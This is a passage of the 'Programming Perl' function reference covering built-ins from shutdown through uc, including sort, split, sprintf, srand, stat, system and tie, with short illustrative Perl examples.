This function shuts down a socket connection in the manner indicated by HOW. If HOW is 0, further receives are disallowed. If HOW is 1, further sends are disallowed. If HOW is 2, everything is disallowed.

(If you came here trying to figure out how to shut down your system, you'll have to execute an external program to do that. See system.)

Previous: 3.2.147 shmwrite | Programming Perl | Next: 3.2.149 sin
3.2.147 shmwrite | Book Index | 3.2.149 sin


[Chapter 3] 3.2.149 sin

Programming PerlSearch this book

3.2.149 sin

sin EXPR

Sorry, there's nothing wicked about this operator. It merely returns the sine of EXPR (expressed in radians). If EXPR is omitted, it returns sine of $_.

For the inverse sine operation, you may use the POSIX::asin() function, or use this relation:

sub asin { atan2($_[0], sqrt(1 - $_[0] * $_[0])) }

Previous: 3.2.148 shutdown | Programming Perl | Next: 3.2.150 sleep
3.2.148 shutdown | Book Index | 3.2.150 sleep


[Chapter 3] 3.2.150 sleep

Programming PerlSearch this book

3.2.150 sleep

sleep EXPR
sleep

This function causes the script to sleep for EXPR seconds, or forever if no EXPR. It may be interrupted by sending the process a SIGALRM. The function returns the number of seconds actually slept. On some systems, the function sleeps till the "top of the second," so, for instance, a sleep 1 may sleep anywhere from 0 to 1 second, depending on when in the current second you started sleeping. A sleep 2 may sleep anywhere from 1 to 2 seconds. And so on. If available, the select (ready file descriptors) call can give you better resolution. You may also be able to use syscall to call the getitimer(2) and setitimer(2) routines that some UNIX systems support.

Previous: 3.2.149 sin | Programming Perl | Next: 3.2.151 socket
3.2.149 sin | Book Index | 3.2.151 socket


[Chapter 3] 3.2.151 socket

Programming PerlSearch this book

3.2.151 socket

socket SOCKET, DOMAIN, TYPE, PROTOCOL

This function opens a socket of the specified kind and attaches it to filehandle SOCKET. DOMAIN, TYPE, and PROTOCOL are specified the same as for socket(2). Before using this function, your program should contain the line:

use Socket;

This gives you the proper constants. The function returns true if successful. See the examples in the section "Sockets" in Chapter 6.

Previous: 3.2.150 sleep | Programming Perl | Next: 3.2.152 socketpair
3.2.150 sleep | Book Index | 3.2.152 socketpair


[Chapter 3] 3.2.152 socketpair

Programming PerlSearch this book

3.2.152 socketpair

socketpair SOCKET1, SOCKET2, DOMAIN, TYPE, PROTOCOL

This function creates an unnamed pair of sockets in the specified domain, of the specified type. DOMAIN, TYPE, and PROTOCOL are specified the same as for socketpair(2). If socketpair(2) is unimplemented, invoking this function yields a fatal error. The function returns true if successful.

This function is typically used just before a fork. One of the resulting processes should close SOCKET1, and the other should close SOCKET2. You can use these sockets bidirectionally, unlike the filehandles created by the pipe function.

Previous: 3.2.151 socket | Programming Perl | Next: 3.2.153 sort
3.2.151 socket | Book Index | 3.2.153 sort


[Chapter 3] 3.2.153 sort

Programming PerlSearch this book

3.2.153 sort

sort SUBNAME LIST
sort BLOCK LIST
sort LIST

This function sorts the LIST and returns the sorted list value. By default, it sorts in standard string comparison order (undefined values sorting before defined null strings, which sort before everything else). SUBNAME, if given, is the name of a subroutine that returns an integer less than, equal to, or greater than 0, depending on how the elements of the list are to be ordered. (The handy <=> and cmp operators can be used to perform three-way numeric and string comparisons.) In the interests of efficiency, the normal calling code for subroutines is bypassed, with the following effects: the subroutine may not be a recursive subroutine, and the two elements to be compared are passed into the subroutine not via @_ but as $a and $b (see the examples below). The variables $a and $b are passed by reference, so don't modify them in the subroutine. SUBNAME may be a scalar variable name (unsubscripted), in which case the value provides the name of (or a reference to) the actual subroutine to use. In place of a SUBNAME, you can provide a BLOCK as an anonymous, in-line sort subroutine.

To do an ordinary numeric sort, say this:

sub numerically { $a <=> $b; }
@sortedbynumber = sort numerically 53,29,11,32,7;

To sort in descending order, simply reverse the $a and $b. To sort a list value by some associated value, use a hash lookup in the sort routine:

sub byage {
    $age{$a} <=> $age{$b};
}
@sortedclass = sort byage @class;

As an extension of that notion, you can cascade several different comparisons using the handy comparison operators, which work nicely for this because when they return 0 they fall through to the next case. The routine below sorts to the front of the list those people who are first richer, then taller, then younger, then less alphabetically challenged. We also put a final comparison between $a and $b to make sure the ordering is always well defined.

sub prospects {
    $money{$b} <=> $money{$a}
       or
    $height{$b} <=> $height{$a}
       or
    $age{$a} <=> $age{$b}
       or
    $lastname{$a} cmp $lastname{$b}
       or
    $a cmp $b;
}
@sortedclass = sort prospects @class;

To sort fields without regard to case, say:

@sorted = sort { lc($a) cmp lc($b) } @unsorted;

And finally, note the equivalence of the two ways to sort in reverse:

sub backwards { $b cmp $a; }
@harry = qw(dog cat x Cain Abel);
@george = qw(gone chased yz Punished Axed);
print sort @harry;                   # prints AbelCaincatdogx
print sort backwards @harry;         # prints xdogcatCainAbel
print reverse sort @harry;           # prints xdogcatCainAbel
print sort @george, "to", @harry;    # Remember, it's one LIST.
        # prints AbelAxedCainPunishedcatchaseddoggonetoxyz

Do not declare $a and $b as lexical variables (with my). They are package globals (though they're exempt from the usual restrictions on globals when you're using use strict). You do need to make sure your sort routine is in the same package though, or qualify $a and $b with the package name of the caller.

One last caveat. Perl's sort is implemented in terms of C's qsort(3) function. Some qsort(3) versions will dump core if your sort subroutine provides inconsistent ordering of values.

Previous: 3.2.152 socketpair | Programming Perl | Next: 3.2.154 splice
3.2.152 socketpair | Book Index | 3.2.154 splice


[Chapter 3] 3.2.154 splice

Programming PerlSearch this book

3.2.154 splice

splice ARRAY, OFFSET, LENGTH, LIST
splice ARRAY, OFFSET, LENGTH
splice ARRAY, OFFSET

This function removes the elements designated by OFFSET and LENGTH from an array, and replaces them with the elements of LIST, if any. The function returns the elements removed from the array. The array grows or shrinks as necessary. If LENGTH is omitted, the function removes everything from OFFSET onward. The following equivalences hold (assuming $[ is 0):

Direct Method | Splice Equivalent
push(@a, $x, $y) | splice(@a, $#a+1, 0, $x, $y)
pop(@a) | splice(@a, -1)
shift(@a) | splice(@a, 0, 1)
unshift(@a, $x, $y) | splice(@a, 0, 0, $x, $y)
$a[$x] = $y | splice(@a, $x, 1, $y);

The splice function is also handy for carving up the argument list passed to a subroutine. For example, assuming list lengths are passed before lists:

sub list_eq {       # compare two list values
    my @a = splice(@_, 0, shift);
    my @b = splice(@_, 0, shift);
    return 0 unless @a == @b;       # same len?
    while (@a) {
        return 0 if pop(@a) ne pop(@b);
    }
    return 1;
}
if (list_eq($len, @foo[1..$len], scalar(@bar), @bar)) { ... }

It would probably be cleaner just to use references for this, however.

Previous: 3.2.153 sort | Programming Perl | Next: 3.2.155 split
3.2.153 sort | Book Index | 3.2.155 split


[Chapter 3] 3.2.155 split

Programming PerlSearch this book

3.2.155 split

split /PATTERN/, EXPR, LIMIT
split /PATTERN/, EXPR
split /PATTERN/
split

This function scans a string given by EXPR for delimiters, and splits the string into a list of substrings, returning the resulting list value in list context, or the count of substrings in scalar context. The delimiters are determined by repeated pattern matching, using the regular expression given in PATTERN, so the delimiters may be of any size, and need not be the same string on every match. (The delimiters are not ordinarily returned, but see below.) If the PATTERN doesn't match at all, split returns the original string as a single substring. If it matches once, you get two substrings, and so on.

If LIMIT is specified and is not negative, the function splits into no more than that many fields (though it may split into fewer if it runs out of delimiters). If LIMIT is negative, it is treated as if an arbitrarily large LIMIT has been specified. If LIMIT is omitted, trailing null fields are stripped from the result (which potential users of pop would do well to remember). If EXPR is omitted, the function splits the $_ string. If PATTERN is also omitted, the function splits on whitespace, /\s+/, after skipping any leading whitespace.

Strings of any length can be split:

@chars = split //, $word;
@fields = split /:/, $line;
@words = split ' ', $paragraph;
@lines = split /^/m, $buffer;

A pattern capable of matching either the null string or something longer than the null string (for instance, a pattern consisting of any single character modified by a * or ?) will split the value of EXPR into separate characters wherever it is the null string that produces the match; non-null matches will skip over occurrences of the delimiter in the usual fashion. (In other words, a pattern won't match in one spot more than once, even if it matched with a zero width.) For example:

print join ':', split / */, 'hi there';

produces the output "h:i:t:h:e:r:e". The space disappears because it matched as part of the delimiter. As a trivial case, the null pattern // simply splits into separate characters (and spaces do not disappear).

The LIMIT parameter is used to split only part of a string:

($login, $passwd, $remainder) = split /:/, $_, 3;

We encourage you to split to lists of names like this in order to make your code self-documenting. (For purposes of error checking, note that $remainder would be undefined if there were fewer than three fields.) When assigning to a list, if LIMIT is omitted, Perl supplies a LIMIT one larger than the number of variables in the list, to avoid unnecessary work. For the split above, LIMIT would have been 4 by default, and $remainder would have received only the third field, not all the rest of the fields. In time-critical applications it behooves you not to split into more fields than you really need.

We said earlier that the delimiters are not returned, but if the PATTERN contains parentheses, then the substring matched by each pair of parentheses is included in the resulting list, interspersed with the fields that are ordinarily returned. Here's a simple case:

split /([-,])/, "1-10,20";

produces the list value:

(1, '-', 10, ',', 20)

With more parentheses, a field is returned for each pair, even if some of the pairs don't match, in which case undefined values are returned in those positions. So if you say:

split /(-)|(,)/, "1-10,20";

you get the value:

(1, '-', undef, 10, undef, ',', 20)

The /PATTERN/ argument may be replaced with an expression to specify patterns that vary at run-time. (To do run-time compilation only once, use /$variable/o.) As a special case, specifying a space " " will split on whitespace just as split with no arguments does. Thus, split(" ") can be used to emulate awk's default behavior, whereas split(/ /) will give you as many null initial fields as there are leading spaces. (Other than this special case, if you supply a string instead of a regular expression, it'll be interpreted as a regular expression anyway.)

The following example splits an RFC-822 message header into a hash containing $head{Date}, $head{Subject}, and so on. It uses the trick of assigning a list of pairs to a hash, based on the fact that delimiters alternate with delimited fields. It makes use of parentheses to return part of each delimiter as part of the returned list value. Since the split pattern is guaranteed to return things in pairs by virtue of containing one set of parentheses, the hash assignment is guaranteed to receive a list consisting of key/value pairs, where each key is the name of a header field. (Unfortunately this technique loses information for multiple lines with the same key field, such as Received-By lines. Ah, well. . . .)

$header =~ s/\n\s+/ /g;      # Merge continuation lines.
%head = ('FRONTSTUFF', split /^([-\w]+):/m, $header);

The following example processes the entries in a UNIX passwd file. You could leave out the chop, in which case $shell would have a newline on the end of it.

open PASSWD, '/etc/passwd';
while (<PASSWD>) {
    chop;        # remove trailing newline
    ($login, $passwd, $uid, $gid, $gcos, $home, $shell) =
            split /:/;
    ...
}

The inverse of split is performed by join (except that join can only join with the same delimiter between all fields). To break apart a string with fixed-position fields, use unpack.

Previous: 3.2.154 splice | Programming Perl | Next: 3.2.156 sprintf
3.2.154 splice | Book Index | 3.2.156 sprintf


[Chapter 3] 3.2.156 sprintf

Programming PerlSearch this book

3.2.156 sprintf

sprintf FORMAT, LIST

This function returns a string formatted by the usual printf conventions. The FORMAT string contains text with embedded field specifiers into which the elements of LIST are substituted, one per field. Field specifiers are roughly of the form:

%m.nx

where the m and n are optional sizes whose interpretation depends on the type of field, and x is one of:

Code | Meaning
c | Character
d | Decimal integer
e | Exponential format floating-point number
f | Fixed point format floating-point number
g | Compact format floating-point number
ld | Long decimal integer
lo | Long octal integer
lu | Long unsigned decimal integer
lx | Long hexadecimal integer
o | Octal integer
s | String
u | Unsigned decimal integer
x | Hexadecimal integer
X | Hexadecimal integer with upper-case letters

The various combinations are fully documented in the manpage for printf(3), but we'll mention that m is typically the minimum length of the field (negative for left justified), and n is precision for exponential formats and the maximum length for other formats. Padding is typically done with spaces for strings and zeroes for numbers. The * character as a length specifier is not supported. But, you can easily get around this by including the length expression directly into FORMAT, as in:

$width = 20; $value = sin 1.0;
foreach $precision (0..($width-2)) {
    $output_arr[$precision] = sprintf "%${width}.${precision}f", $value;
}

Previous: 3.2.155 split | Programming Perl | Next: 3.2.157 sqrt
3.2.155 split | Book Index | 3.2.157 sqrt


[Chapter 3] 3.2.157 sqrt

Programming PerlSearch this book

3.2.157 sqrt

sqrt EXPR
sqrt

This function returns the square root of EXPR. If EXPR is omitted, it returns the square root of $_. For other roots such as cube roots, you can use the ** operator to raise something to a fractional power.[8]

[8] Don't try either of these approaches with negative numbers, as that poses a slightly more complex problem.

Previous: 3.2.156 sprintf | Programming Perl | Next: 3.2.158 srand
3.2.156 sprintf | Book Index | 3.2.158 srand


[Chapter 3] 3.2.158 srand

Programming PerlSearch this book

3.2.158 srand

srand EXPR

This function sets the random number seed for the rand operator. If EXPR is omitted, it does srand(time), which is pretty predictable, so don't use it for security-type things, such as random password generation. Try something like this instead:[9]

[9] Frequently called programs (like CGI scripts) that simply use

time ^ $$

for a seed can fall prey to the mathematical property that

a^b == (a+1)^(b+1)

one-third of the time. If you're particularly concerned with this, see the Math::TrulyRandom module in CPAN.

srand( time() ^ ($$ + ($$ << 15)) );

Of course, you'd need something much more random than that for serious cryptographic purposes, since it's easy to guess the current time. Checksumming the compressed output of one or more rapidly changing operating system status programs is the usual method. For example:

srand (time ^ $$ ^ unpack "%32L*", `ps axww | gzip`);

Do not call srand multiple times in your program unless you know exactly what you're doing and why you're doing it. The point of the function is to "seed" the rand function so that rand can produce a different sequence each time you run your program. Just do it once at the top of your program, or you won't get random numbers out of rand!

Previous: 3.2.157 sqrt | Programming Perl | Next: 3.2.159 stat
3.2.157 sqrt | Book Index | 3.2.159 stat


[Chapter 3] 3.2.159 stat

Programming PerlSearch this book

3.2.159 stat

stat FILEHANDLE
stat EXPR

This function returns a 13-element list giving the statistics for a file, either the file opened via FILEHANDLE, or named by EXPR. It's typically used as follows:

($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,
    $atime,$mtime,$ctime,$blksize,$blocks)
            = stat $filename;

Not all fields are supported on all filesystem types. Here are the meanings of the fields:

Field | Meaning
dev | Device number of filesystem
ino | Inode number
mode | File mode (type and permissions)
nlink | Number of (hard) links to the file
uid | Numeric user ID of file's owner
gid | Numeric group ID of file's owner
rdev | The device identifier (special files only)
size | Total size of file, in bytes
atime | Last access time since the epoch
mtime | Last modify time since the epoch
ctime | Inode change time (NOT creation time!) since the epoch
blksize | Preferred blocksize for file system I/O
blocks | Actual number of blocks allocated

$dev and $ino, taken together, uniquely identify a file. The $blksize and $blocks are likely defined only on BSD-derived filesystems. The $blocks field (if defined) is reported in 512-byte blocks. Note that $blocks*512 can differ greatly from $size for files containing unallocated blocks, or "holes", which aren't counted in $blocks.

If stat is passed the special filehandle consisting of an underline, no actual stat(2) is done, but the current contents of the stat structure from the last stat or stat-based file test (the -x operators) are returned.

The following example first stats $file to see whether it is executable. If it is, it then pulls the device number out of the existing stat structure and tests it to see whether it looks like a Network File System (NFS). Such filesystems tend to have negative device numbers.

if (-x $file and ($d) = stat(_) and $d < 0) {
    print "$file is executable NFS file\n";
}

Hint: if you need only the size of the file, check out the -s file test operator, which returns the size in bytes directly. There are also file tests that return the ages of files in days.

Previous: 3.2.158 srand | Programming Perl | Next: 3.2.160 study
3.2.158 srand | Book Index | 3.2.160 study


[Chapter 3] 3.2.160 study

Programming PerlSearch this book

3.2.160 study

study SCALAR
study

This function takes extra time to study SCALAR ($_ if unspecified) in anticipation of doing many pattern matches on the string before it is next modified. This may or may not save time, depending on the nature and number of patterns you are searching on, and on the distribution of character frequencies in the string to be searched - you probably want to compare run-times with and without it to see which runs faster. Those loops that scan for many short constant strings (including the constant parts of more complex patterns) will benefit most. If all your pattern matches are constant strings, anchored at the front, study won't help at all, because no scanning is done. You may have only one study active at a time - if you study a different scalar the first is "unstudied".

The way study works is this: a linked list of every character in the string to be searched is made, so we know, for example, where all the "k" characters are. From each search string, the rarest character is selected, based on some static frequency tables constructed from some C programs and English text. Only those places that contain this rarest character are examined.

For example, here is a loop that inserts index-producing entries before any line containing a certain pattern:

while (<>) {
    study;
    print ".IX foo\n" if /\bfoo\b/;
    print ".IX bar\n" if /\bbar\b/;
    print ".IX blurfl\n" if /\bblurfl\b/;
    ...
    print;
}

In searching for /\bfoo\b/, only those locations in $_ that contain "f" will be looked at, because "f" is rarer than "o". In general, this is a big win except in pathological cases. The only question is whether it saves you more time than it took to build the linked list in the first place.

If you have to look for strings that you don't know until run-time, you can build an entire loop as a string and eval that to avoid recompiling all your patterns all the time. Together with setting $/ to input entire files as one record, this can be very fast, often faster than specialized programs like fgrep. The following scans a list of files (@files) for a list of words (@words), and prints out the names of those files that contain a match:

$search = 'while (<>) { study;';
foreach $word (@words) {
    $search .= "++\$seen{\$ARGV} if /\\b$word\\b/;\n";
}
$search .= "}";
@ARGV = @files;
undef $/;               # slurp each entire file
eval $search;           # this screams
die $@ if $@;           # in case eval failed
$/ = "\n";              # put back to normal input delim
foreach $file (sort keys(%seen)) {
    print $file, "\n";
}

Previous: 3.2.159 stat | Programming Perl | Next: 3.2.161 sub
3.2.159 stat | Book Index | 3.2.161 sub


[Chapter 3] 3.2.161 sub

Programming PerlSearch this book

3.2.161 sub

sub NAME BLOCK
sub NAME
sub BLOCK

sub NAME PROTO BLOCK
sub NAME PROTO
sub PROTO BLOCK

The first two of these are not really operators, but rather they declare the existence of named subroutines, which is why the syntax includes a NAME, after all. (As declarations, they return no value.) The first one additionally defines the subroutine with a BLOCK, which contains the code for the subroutine. The second one (the one without the BLOCK) is just a forward declaration, that is, a declaration that introduces the subroutine name without defining it, with the expectation that the real definition will come later. (This is useful because the parser treats a word specially if it knows it's a user-defined subroutine. You can call such a subroutine as if it were a list operator, for instance.)

The third form really is an operator, in that it can be used within expressions to generate an anonymous subroutine at run-time. (More specifically, it returns a reference to an anonymous subroutine, since you can't talk about something anonymous without some kind of reference to it.) If the anonymous subroutine refers to any lexical variables declared outside its BLOCK, it functions as a closure, which means that different calls to the same sub operator will do the bookkeeping necessary to keep the correct "version" of each such lexical variable in sight for the life of the closure, even if the original scope of the lexical variable has been destroyed.

The final three forms are identical to the first three, except that they also supply a prototype that lets you specify how calls to your subroutine should be parsed and analyzed, so you can make your routines act more like some of Perl's built-in functions. See "Subroutines" in Chapter 2 and "Anonymous Subroutines" in Chapter 4 for more details.

Previous: 3.2.160 study | Programming Perl | Next: 3.2.162 substr
3.2.160 study | Book Index | 3.2.162 substr


[Chapter 3] 3.2.162 substr

Programming PerlSearch this book

3.2.162 substr

substr EXPR, OFFSET, LENGTH
substr EXPR, OFFSET

This function extracts a substring out of the string given by EXPR and returns it. The substring is extracted starting at OFFSET characters from the front of the string. (Note: if you've messed with $[, the beginning of the string isn't at 0, but since you haven't messed with it (have you?), it is.) If OFFSET is negative, the substring starts that far from the end of the string instead. If LENGTH is omitted, everything to the end of the string is returned. If LENGTH is negative, the length is calculated to leave that many characters off the end of the string. Otherwise, LENGTH indicates the length of the substring to extract, which is sort of what you'd expect.

You can use substr as an lvalue (something to assign to), in which case EXPR must also be a legal lvalue. If you assign something shorter than the length of your substring, the string will shrink, and if you assign something longer than the length, the string will grow to accommodate it. To keep the string the same length you may need to pad or chop your value using sprintf or the x operator.

To prepend the string "Larry" to the current value of $_, use:

substr($_, 0, 0) = "Larry";

To instead replace the first character of $_ with "Moe", use:

substr($_, 0, 1) = "Moe";

and finally, to replace the last character of $_ with "Curly", use:

substr($_, -1, 1) = "Curly";

These last few examples presume you haven't messed with the value of $[. You haven't, have you? Good.

Previous: 3.2.161 sub | Programming Perl | Next: 3.2.163 symlink
3.2.161 sub | Book Index | 3.2.163 symlink


[Chapter 3] 3.2.163 symlink

Programming PerlSearch this book

3.2.163 symlink

symlink OLDFILE, NEWFILE

This function creates a new filename symbolically linked to the old filename. The function returns 1 for success, 0 otherwise. On systems that don't support symbolic links, it produces a fatal error at run-time. To check for that, use eval to trap the potential error:

$can_symlink = (eval { symlink("", ""); }, $@ eq "");

Or use the Config module. Be careful if you supply a relative symbolic link, since it'll be interpreted relative to the location of the symbolic link itself, not your current working directory.

See also link and readlink earlier in this chapter.

Previous: 3.2.162 substr | Programming Perl | Next: 3.2.164 syscall
3.2.162 substr | Book Index | 3.2.164 syscall


[Chapter 3] 3.2.164 syscall

Programming PerlSearch this book

3.2.164 syscall

syscall LIST

This function calls the system call specified as the first element of the list, passing the remaining elements as arguments to the system call. (Many of these are now more readily available through the POSIX module, and others.) The function produces a fatal error if syscall(2) is unimplemented. The arguments are interpreted as follows: if a given argument is numeric, the argument is passed as a C integer. If not, a pointer to the string value is passed. You are responsible for making sure the string is long enough to receive any result that might be written into it. Otherwise you're looking at a coredump. If your integer arguments are not literals and have never been interpreted in a numeric context, you may need to add 0 to them to force them to look like numbers. (See the following example.)

This example calls the setgroups(2) system call to add to the group list of the current process. (It will only work on machines that support multiple group membership.)

require 'syscall.ph';
syscall &SYS_setgroups, @groups+0, pack("i*", @groups);

Note that you may have to run h2ph as indicated in the Perl installation instructions for syscall.ph to exist. Some systems may require a pack template of "s*" instead. Best of all, the syscall function assumes the size equivalence of the C types int, long, and char*.

Try not to think of syscall as the epitome of portability.

Previous: 3.2.163 symlink | Programming Perl | Next: 3.2.165 sysopen
3.2.163 symlink | Book Index | 3.2.165 sysopen


[Chapter 3] 3.2.165 sysopen

Programming PerlSearch this book

3.2.165 sysopen

sysopen FILEHANDLE, FILENAME, MODE
sysopen FILEHANDLE, FILENAME, MODE, PERMS

This function opens the file whose filename is given by FILENAME, and associates it with FILEHANDLE. If FILEHANDLE is an expression, its value is used as the name of (or reference to) the filehandle. This function calls open(2) with the parameters FILENAME, MODE, PERMS.

The possible values and flag bits of the MODE parameter are system-dependent; they are available via the Fcntl library module. However, for historical reasons, some values are universal: zero means read-only, one means write-only, and two means read/write.

If the file named by FILENAME does not exist and sysopen creates it (typically because MODE includes the O_CREAT flag), then the value of PERMS specifies the permissions of the newly created file. If PERMS is omitted, the default value is 0666, which allows read and write for all. This default is reasonable: see umask.

The FileHandle module described in Chapter 7 provides a more object-oriented approach to sysopen. See also open earlier in this chapter.

Previous: 3.2.164 syscall | Programming Perl | Next: 3.2.166 sysread
3.2.164 syscall | Book Index | 3.2.166 sysread


[Chapter 3] 3.2.166 sysread

Programming PerlSearch this book

3.2.166 sysread

sysread FILEHANDLE, SCALAR, LENGTH, OFFSET
sysread FILEHANDLE, SCALAR, LENGTH

This function attempts to read LENGTH bytes of data into variable SCALAR from the specified FILEHANDLE using read(2). The function returns the number of bytes actually read, or 0 at EOF. It returns the undefined value on error. SCALAR will be grown or shrunk to the length actually read. The OFFSET, if specified, says where in the string to start putting the bytes, so that you can read into the middle of a string that's being used as a buffer. For an example, see syswrite. You should be prepared to handle the problems (like interrupted system calls) that standard I/O normally handles for you. Also, do not mix calls to read and sysread on the same filehandle unless you are into heavy wizardry (and/or pain).

Previous: 3.2.165 sysopen | Programming Perl | Next: 3.2.167 system
3.2.165 sysopen | Book Index | 3.2.167 system


[Chapter 3] 3.2.167 system

Programming PerlSearch this book

3.2.167 system

system LIST

This function executes any program on the system for you. It does exactly the same thing as exec LIST except that it does a fork first, and then, after the exec, it waits for the exec'd program to complete. That is (in non-UNIX terms), it runs the program for you, and returns when it's done, unlike exec, which never returns (if it succeeds). Note that argument processing varies depending on the number of arguments, as described for exec. The return value is the exit status of the program as returned by the wait(2) call. To get the actual exit value, divide by 256. (The lower 8 bits are set if the process died from a signal.) See exec.

Because system and backticks block SIGINT and SIGQUIT, killing the program they're running with one of those signals doesn't actually interrupt your program.

@args = ("command", "arg1", "arg2");
system(@args) == 0
     or die "system @args failed: $?"

Here's a more elaborate example of analyzing the return value from system on a UNIX system to check for all possibilities, including for signals and coredumps.

$rc = 0xffff & system @args;
printf "system(%s) returned %#04x: ", "@args", $rc;
if ($rc == 0) {
    print "ran with normal exit\n";
}
elsif ($rc == 0xff00) {
    print "command failed: $!\n";
}
elsif (($rc & 0xff) == 0) {
    $rc >>= 8;
    print "ran with non-zero exit status $rc\n";
}
else {
    print "ran with ";
    if ($rc &   0x80) {
        $rc &= ~0x80;
        print "coredump from ";
    }
    print "signal $rc\n"
}
$ok = ($rc == 0);

Previous: 3.2.166 sysread | Programming Perl | Next: 3.2.168 syswrite
3.2.166 sysread | Book Index | 3.2.168 syswrite


[Chapter 3] 3.2.168 syswrite

Programming PerlSearch this book

3.2.168 syswrite

syswrite FILEHANDLE, SCALAR, LENGTH, OFFSET
syswrite FILEHANDLE, SCALAR, LENGTH

This function attempts to write LENGTH bytes of data from variable SCALAR to the specified FILEHANDLE using write(2). The function returns the number of bytes actually written, or the undefined value on error. You should be prepared to handle the problems that standard I/O normally handles for you, such as partial writes. The OFFSET, if specified, says where in the string to start writing from, in case you're using the string as a buffer, for instance, or you need to recover from a partial write. To copy data from filehandle FROM into filehandle TO, use something like:

$blksize = (stat FROM)[11] || 16384;  # preferred block size?
while ($len = sysread FROM, $buf, $blksize) {
    if (!defined $len) {
        next if $! =~ /^Interrupted/;
        die "System read error: $!\n";
    }
    $offset = 0;
    while ($len) {          # Handle partial writes.
        $written = syswrite TO, $buf, $len, $offset;
        die "System write error: $!\n"
            unless defined $written;
        $len -= $written;
        $offset += $written;
    }
}

Do not mix calls to (print or write) and syswrite on the same filehandle unless you are into heavy wizardry.

Previous: 3.2.167 system | Programming Perl | Next: 3.2.169 tell
3.2.167 system | Book Index | 3.2.169 tell


[Chapter 3] 3.2.169 tell

Programming PerlSearch this book

3.2.169 tell

tell FILEHANDLE
tell

This function returns the current file position (in bytes, 0-based) for FILEHANDLE. This value is typically fed to the seek function at some future time to get back to the current position. FILEHANDLE may be an expression whose value gives the name of the actual filehandle, or a reference to a filehandle object. If FILEHANDLE is omitted, the function returns the position of the file last read. File positions are only meaningful on regular files. Devices, pipes, and sockets have no file position.

See seek for an example.

Previous: 3.2.168 syswrite | Programming Perl | Next: 3.2.170 telldir
3.2.168 syswrite | Book Index | 3.2.170 telldir


[Chapter 3] 3.2.170 telldir

Programming PerlSearch this book

3.2.170 telldir

telldir DIRHANDLE

This function returns the current position of the readdir routines on DIRHANDLE. This value may be given to seekdir to access a particular location in a directory. The function has the same caveats about possible directory compaction as the corresponding system library routine. This function may not be implemented everywhere that readdir is. Even if it is, no calculation may be done with the return value. It's just an opaque value, meaningful only to seekdir.

Previous: 3.2.169 tell | Programming Perl | Next: 3.2.171 tie
3.2.169 tell | Book Index | 3.2.171 tie


[Chapter 3] 3.2.171 tie

Programming PerlSearch this book

3.2.171 tie

tie VARIABLE, CLASSNAME, LIST

This function binds a variable to a package class that will provide the implementation for the variable. VARIABLE is the name of the variable to be tied. CLASSNAME is the name of a class implementing objects of an appropriate type. Any additional arguments are passed to the "new" method of the class (meaning TIESCALAR, TIEARRAY, or TIEHASH). Typically these are arguments such as might be passed to the dbm_open(3) function of C, but this is package dependent. The object returned by the "new" method is also returned by the tie function, which can be useful if you want to access other methods in CLASSNAME. (The object can also be accessed through the tied function.) So, a class for tying a hash to an ISAM implementation might provide an extra method to traverse a set of keys sequentially (the "S" of ISAM), since your typical DBM implementation can't do that.

Note that functions such as keys and values may return huge list values when used on large objects like DBM files. You may prefer to use the each function to iterate over such. For example:

use NDBM_File;
tie %ALIASES, "NDBM_File", "/etc/aliases", 1, 0
    or die "Can't open aliases: $!\n";
while (($key,$val) = each %ALIASES) {
    print $key, ' = ', $val, "\n";
}
untie %ALIASES;

A class implementing a hash should provide the following methods:

TIEHASH $class, LIST
DESTROY $self
FETCH $self, $key
STORE $self, $key, $value
DELETE $self, $key
EXISTS $self, $key
FIRSTKEY $self
NEXTKEY $self, $lastkey

A class implementing an ordinary array should provide the following methods:

TIEARRAY $classname, LIST
DESTROY $self
FETCH $self, $subscript
STORE $self, $subscript, $value

(As of this writing, other methods are still being designed. Check the online documentation for additions.)

A class implementing a scalar should provide the following methods:

TIESCALAR $classname, LIST
DESTROY $self
FETCH $self,
STORE $self, $value

See "Using Tied Variables" in Chapter 5 for detailed discussion of all these methods. Unlike dbmopen, the tie function will not use or require a module for you - you need to do that explicitly yourself. See the DB_File and Config modules for interesting tie implementations.

Previous: 3.2.170 telldir | Programming Perl | Next: 3.2.172 tied
3.2.170 telldir | Book Index | 3.2.172 tied


[Chapter 3] 3.2.172 tied

Programming PerlSearch this book

3.2.172 tied

tied VARIABLE

This function returns a reference to the object underlying VARIABLE (the same value that was originally returned by the tie call which bound the variable to a package.) It returns the undefined value if VARIABLE isn't tied to a package. So, for example, you can use:

ref tied %hash

to find out which package your hash is currently tied to. (Presuming you've forgotten.)

Previous: 3.2.171 tie | Programming Perl | Next: 3.2.173 time
3.2.171 tie | Book Index | 3.2.173 time


[Chapter 3] 3.2.173 time

Programming PerlSearch this book

3.2.173 time

time

This function returns the number of non-leap seconds since January 1, 1970, UTC.[10] The returned value is suitable for feeding to gmtime and localtime, and for comparison with file modification and access times returned by stat, and for feeding to utime - see the examples under utime.

[10] Also known as the "epoch", not to be confused with the "epic", which is about the making of UNIX. (Other operating systems may have a different epoch, not to mention a different epic.)

Previous: 3.2.172 tied | Programming Perl | Next: 3.2.174 times
3.2.172 tied | Book Index | 3.2.174 times


[Chapter 3] 3.2.174 times

Programming PerlSearch this book

3.2.174 times

times

This function returns a four-element list giving the user and system CPU times, in seconds (possibly fractional), for this process and the children of this process.

($user, $system, $cuser, $csystem) = times;

For example, to time the execution speed of a section of Perl code:

$start = (times)[0];
...
$end = (times)[0];
printf "that took %.2f CPU seconds\n", $end - $start;

Previous: 3.2.173 time | Programming Perl | Next: 3.2.175 tr///
3.2.173 time | Book Index | 3.2.175 tr///


[Chapter 3] 3.2.175 tr///

Programming PerlSearch this book

3.2.175 tr///

tr///
y///

This is the translation operator, which is like the one in the UNIX sed program, only better, in everybody's humble opinion. See Chapter 2.

Previous: 3.2.174 times | Programming Perl | Next: 3.2.176 truncate
3.2.174 times | Book Index | 3.2.176 truncate


[Chapter 3] 3.2.176 truncate

Programming PerlSearch this book

3.2.176 truncate

truncate FILEHANDLE, LENGTH
truncate EXPR, LENGTH

This function truncates the file opened on FILEHANDLE, or named by EXPR, to the specified length. The function produces a fatal error if truncate(2) or an equivalent isn't implemented on your system. (You can always truncate a file by copying the front of it, if you have the disk space.)

Previous: 3.2.175 tr/// | Programming Perl | Next: 3.2.177 uc
3.2.175 tr/// | Book Index | 3.2.177 uc


[Chapter 3] 3.2.177 uc

Programming PerlSearch this book

3.2.177 uc

uc EXPR

This function returns an uppercased version of EXPR (or $_ if EXPR is omitted). This is the internal function implementing the \U escape in double-quoted strings. POSIX setlocale(3) settings are respected.

